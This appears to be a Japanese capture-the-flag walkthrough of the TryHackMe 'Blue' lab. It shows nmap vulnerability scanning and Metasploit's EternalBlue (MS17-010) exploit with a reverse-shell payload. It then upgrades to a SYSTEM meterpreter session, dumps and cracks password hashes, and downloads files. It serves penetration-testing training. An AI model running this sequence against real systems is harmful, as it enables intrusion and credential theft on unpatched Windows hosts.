フラグ獲得までTryHack "Blue"
TryHackme"Offensive Pentesting"というLearningPathでチュートリアル後の2つ目のサーバ"Blue"です。
2017年に世界中で猛威を振るった「WannaCry」というランサムウェア。このウイルスは感染するとデータを暗号化し身代金を要求するなどかなり悪質なもので、企業や金融機関などのコンピュータ23万台に感染し多大な被害を与えました。なぜここまで拡大したかというと、この「WannaCry」が多くのコンピュータに搭載されていたWindowsのSMBv1の脆弱性を悪用していたためです。
「WannaCry」で使われていたWindowsの脆弱性を攻撃するプログラム名は「Eternal Blue」と呼ばれていて、今回のタイトル"Blue"から察しがつくとおり、「Eternal Blue」を使ってターゲットマシンのフラグを獲得します。
ターゲットマシン
Title:Blue
IPaddress:10.10.33.239
攻撃マシン
OS:Kali Linux
IPaddress:10.13.48.145
Task1:Recon
ウォークスルーのお題で1000番以下のポートでOpenになっているものがいくつかあるか聞かれているので、nmap
コマンドで探索します。
└─$ nmap -Pn -T4 -p-1000 10.10.33.239
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-01 07:02 EDT
Nmap scan report for 10.10.33.239
Host is up (0.25s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
-Pn:スキャン前にpingを送信しない
-T4:高速スキャン(T0~T5最速)、
0:paranoid、1:sneaky 、2:polite、3:normal、4:aggressive 、5:insane
-p-1000:ポートレンジ指定1-1000
これより、135、139、445ポートの3つが空いていることがわかりました。
次に、ターゲットマシンの脆弱性は何かという問題でヒントでms??-???と書かれています。
ということでnmap
のオプションに--script vuln
を追加します。これにより、既知の脆弱性をチェックすることができます。
(参考)https://nmap.org/book/nse-usage.html
└─$ nmap -sV --script vuln 10.10.33.239
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-01 07:04 EDT
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 10.10.33.239
Host is up (0.25s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ssl/ms-wbt-server?
| rdp-vuln-ms12-020:
| VULNERABLE:
| MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2012-0152
| Risk factor: Medium CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)
| Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
|
| Disclosure date: 2012-03-13
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152
| http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|
| MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2012-0002
| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
| Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
|
| Disclosure date: 2012-03-13
| References:
| http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002
|_ssl-ccs-injection: No reply from server (TIMEOUT)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49160/tcp open msrpc Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
-sV:サービスとバージョンの検出
--script:スクリプトを利用したスキャン
スクリプトを使ったスキャン機能について検証されているサイト
(参考)http://n.pentest.ninja/?p=32488
大きく2つの脆弱性が検知されました。
1 ms12-020
2 ms17-010
今回のウォークスルーでは2のms17-010の脆弱性を利用して、ターゲットマシンにアクセスしていきます。
Task2:Gain Access
metasploitを使ってターゲットマシンにアクセスをしていきます。
metasploitとは、ペネトレーションテストを自動化するフレームワークです。Kali linuxには標準でインストールされています。
(参考)https://cyberfortress.jp/2020/10/23/blog-metasploit/
まずは、msfconsole
コマンドを実行してMetasploitを起動します。
起動すると、以下のような対話モードになります。
msf6 >
search
コマンドを使って、先ほどの脆弱性を検索します。
msf6 > search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
4件ヒットしました。
今回は、0番目のexploit/windows/smb/ms17-010_eternalblue
を利用します。EternalBlueと説明にも書いてありますね。
msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >
options
コマンドを使って設定すべき値を確認します。
msf6 exploit(windows/smb/ms17_010_eternalblue) > options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://github.com/rapid7/metaspl
oit-framework/wiki/Using-Metasploit
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication.
Only affects Windows Server 2008 R2, Windows 7, Windows E
mbedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only
affects Windows Server 2008 R2, Windows 7, Windows Embed
ded Standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects W
indows Server 2008 R2, Windows 7, Windows Embedded Standa
rd 7 target machines.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.60.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
RHOSTSとLHOSTをこの環境用に設定すれば問題なさそうです。
RHOSTS:ターゲットマシンのIPアドレス
LOHST:攻撃マシンのIPアドレス
この2つをset
コマンドで設定していきます。
(+ウォークスルーで指示されているpayloadもあわせて設定します)
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.33.239
RHOSTS => 10.10.33.239
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.13.48.145
LHOST => 10.13.48.145
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp
payload => windows/x64/shell/reverse_tcp
では、準備が整ったので、run
コマンドでexploitを実行します。
ターゲットマシンにアクセスできました。こんなに簡単にアクセスできてしまうんですね。
C:\Windows\system32>
Task3:Escalate
リバースシェルを利用してmeterpreterのシェルを作ります。
meterpreterとは、Metasploitのコンポーネントの1つで、脆弱性をエクスプロイトした後のペイロードとして利用されます。ペイロードとは、エクスプロイトが成功した後に実行されるコードのことで、ターゲットマシンのさらなる侵害を行うことができます。今回は、パスワードハッシュのダンプを取得して解読したり、フラグファイルをダウンロードするのに必要です。
(参考)https://www.oreilly.co.jp/pub/9784873115382/Metasploit_sample-C06.pdf
ctrl
+z
で今のセッションをバックグラウンドに移動させる。
C:\Windows\system32>^Z
Background session 21? [y/N] y
次に、shell_to_meterpreter
を起動します。
合わせてoptionsも確認しておくと、SESSIONを設定する必要があるので、先ほどのバックグラウンドに移動させたセッションを設定します。
msf6 exploit(windows/smb/ms17_010_eternalblue) > use shell_to_meterpreter
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/multi/manage/shell_to_meterpreter normal No Shell to Meterpreter Upgrade
Interact with a module by name or index. For example info 0, use 0 or use post/multi/manage/shell_to_meterpreter
[*] Using post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > use 0
msf6 post(multi/manage/shell_to_meterpreter) > options
Module options (post/multi/manage/shell_to_meterpreter):
Name Current Setting Required Description
---- --------------- -------- -----------
HANDLER true yes Start an exploit/multi/handler to receive the connection
LHOST no IP of host that will receive the connection from the payload (W
ill try to auto detect).
LPORT 4433 yes Port for payload to connect to.
SESSION yes The session to run this module on
msf6 post(multi/manage/shell_to_meterpreter) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x64/windows Shell Banner: Microsoft Windows [V 10.13.48.145:4444 -> 10.10.33.239:4
ersion 6.1.7601] ----- 9190 (10.10.33.239)
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
実行して、再度セッションを確認すると、ID=2にmeterpreterセッションが新しく作られたので、こちらのセッションに入れば、meterpreter shellでのアクセス成功です。これによりさらに様々な攻撃ができるようになりました。
msf6 post(multi/manage/shell_to_meterpreter) > run
msf6 post(multi/manage/shell_to_meterpreter) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x64/windows Shell Banner: Microsoft Windows 10.13.48.145:4444 -> 10.10.33.23
[Version 6.1.7601] ----- 9:49190 (10.10.33.239)
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 10.13.48.145:4433 -> 10.10.33.23
9:49202 (10.10.33.239)
以下のコマンドでID=2のセッションに接続します。
msf6 post(multi/manage/shell_to_meterpreter) > sessions 2
[*] Starting interaction with 2...
Task4:Cracking
フラグを探索する前にちょっと寄り道です。
パスワードクラッキングの問題が出ているので、解いていきます。
meterpreterのコマンドであるhashdump
コマンドを実行します。
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
Jonというユーザがいることがわかったので、パスワードを解析していく。
解析ツールにClack stationというものがあるので、こちらのサイトを利用する。
図のようにCrack stationに暗号化されたパスワードを入力すると、Alqfha22
と解読されました。
Task5:Find flags!
最後にフラグを探します。
meterpreter > search -f *flag*
Found 6 results...
==================
Path Size (bytes) Modified (UTC)
---- ------------ --------------
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag1.lnk 482 2019-03-17 15:26:42 -0400
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag2.lnk 848 2019-03-17 15:30:04 -0400
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag3.lnk 2344 2019-03-17 15:32:52 -0400
c:\Users\Jon\Documents\flag3.txt 37 2019-03-17 15:26:36 -0400
c:\Windows\System32\config\flag2.txt 34 2019-03-17 15:32:48 -0400
c:\flag1.txt 24 2019-03-17 15:27:21 -0400
ファイルをダウンロードして中身を確認すればフラグ獲得!
meterpreter > download "C:\flag1.txt" ~/
[*] Downloading: C:\flag1.txt -> /home/kali/flag1.txt
[*] Downloaded 24.00 B of 24.00 B (100.0%): C:\flag1.txt -> /home/kali/flag1.txt
[*] download : C:\flag1.txt -> /home/kali/flag1.txt
meterpreter > download "C:\Windows\System32\config\flag2.txt" ~/
[*] Downloading: C:\Windows\System32\config\flag2.txt -> /home/kali/flag2.txt
[*] Downloaded 34.00 B of 34.00 B (100.0%): C:\Windows\System32\config\flag2.txt -> /home/kali/flag2.txt
[*] download : C:\Windows\System32\config\flag2.txt -> /home/kali/flag2.txt
meterpreter > download "C:\Users\Jon\Documents\flag3.txt" ~/
[*] Downloading: C:\Users\Jon\Documents\flag3.txt -> /home/kali/flag3.txt
[*] Downloaded 37.00 B of 37.00 B (100.0%): C:\Users\Jon\Documents\flag3.txt -> /home/kali/flag3.txt
[*] download : C:\Users\Jon\Documents\flag3.txt -> /home/kali/flag3.txt
Discussion